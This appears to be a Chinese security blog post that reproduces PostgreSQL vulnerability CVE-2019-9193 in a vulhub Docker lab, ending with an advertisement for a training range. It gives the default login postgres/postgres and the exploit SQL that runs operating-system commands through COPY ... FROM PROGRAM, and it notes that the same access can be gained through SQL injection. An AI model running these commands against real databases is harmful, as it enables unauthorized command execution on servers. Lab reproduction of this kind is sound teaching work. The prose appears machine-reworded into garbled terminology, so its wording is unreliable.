发布于2022年11月4日3年前 (CVE-2019-9193)PostgreSQL 高权限命令执行漏洞 0x00简介PostgreSQL( 读作 Post-Gres-Q-L)是一个功用非常强大的、源代码敞开的客户/服务器联系型数据库办理体系(RDBMS)。采用相似MIT的答应协议,允许开发人员做任何事情,包含在开源或闭源产品中商用,其源代码是免费提供的。PostgreSQL特色:Ø 支撑WINDOWS、Linux、Solaris、macOS 、BSD。Ø 支撑文本、图画、视频、声响等Ø 支撑ACID、关联完整性、数据库业务、Unicode多国言语。Ø 支撑临时表,与物化视图Ø 支撑SQL的许多功用,例如杂乱的SQL查询,子查询,外键,触发器,视图,视图,多进程并发控制(MVCC)、异步仿制。0x01缝隙概述PostgreSQL是一个功用强大对象联系数据库办理体系(ORDBMS)。因为9.3增加一个“COPY TO/FROM PROGRAM”功用。这个功用便是允许数据库的超级用户以及pg_read_server_files组中的任何用户履行操作体系指令0x02影响版别9.3-11.20x03环境搭建1. 本次缝隙环境运用vulhub中的docker搭建,vulhub下载地址:https://github.com/vulhub/vulhub2.下载完成后运用xftp传入安装有docker和环docker-compose境的虚拟机中解压并发动环境cd vulhub-master/postgres/CVE-2019-9193docker-compose up -d3.运用docker ps检查是否发动成功4.发动成功后运用navicat衔接数据库,数据库初始账号密码为postgres/postgres0x04缝隙复现注:这个缝隙介于权限提升和恣意代码履行之间,它需求一些前提权限,这些权限可所以通过正常的登录PostgreSQL也可所以通过SQL注入获得与PostgreSQL交互的途径。需求阐明的是,上述两种景象下都需求用户是一个超级用户或者是“pg_read_server_files”组用户1.履行删除你想用来保存指令输出但是或许存在的表,这一步可有可无DROP TABLE IF EXISTS cmd_exec2.创建用来保存指令输出的表CREATE TABLE cmd_exec(cmd_output text);3.通过 “COPY FROM PROGRAM”履行体系指令COPY cmd_exec FROM PROGRAM 'id'4.将结果显示出来SELECT * FROM cmd_exec5.履行其他指令6.检查账号信息0x05修正主张1.主张升级至最新版别2.控制数据库权限制止普通用户履行指令在这里,给大家介绍一下“东塔攻防国际靶场”2020年12月,东塔攻防国际靶场正式对外提供注册,各位小伙伴可通过注册后进行体会。新注册用户可获得必定的积分,关于靶场运用获取正确的Key后,也能够获取必定的经验值,经验值依据排名会不定期给予必定的奖励。而且,在操作过程中,针对出现的Bug和安全缝隙问题能够和塔塔子提出,审阅通往后能够获得相应的奖励积分。东塔攻防国际网站不定时推出可免费限时运用的靶场,详细可重视东塔网络安全学院推出的一系列活动或增加东塔客服了解概况。东塔攻防国际靶场首要分为在线靶场和工作体系两大特色板块。且平台内的靶场会定期更新内容,尤其是最新缝隙复现的一些文章和靶场,会优先在靶场中提供环境让大家体会。东塔攻防国际网站会不定期限时免费推出最新的一些复现的靶场,以供学习交流,给了大家充分体会和运用靶场的机会。详细可重视东塔网络安全学院推出的一系列活动或增加东塔客服wx(dongtakefu)了解概况。除了以上介绍的内容,还有更多宝藏区域,更强大的功用,等你来寻宝!详戳下方“东塔攻防国际靶场”网址,Get一波新国际https://labs.do-ta.com本文作者:东塔安全学院
创建帐户或登录后发表意见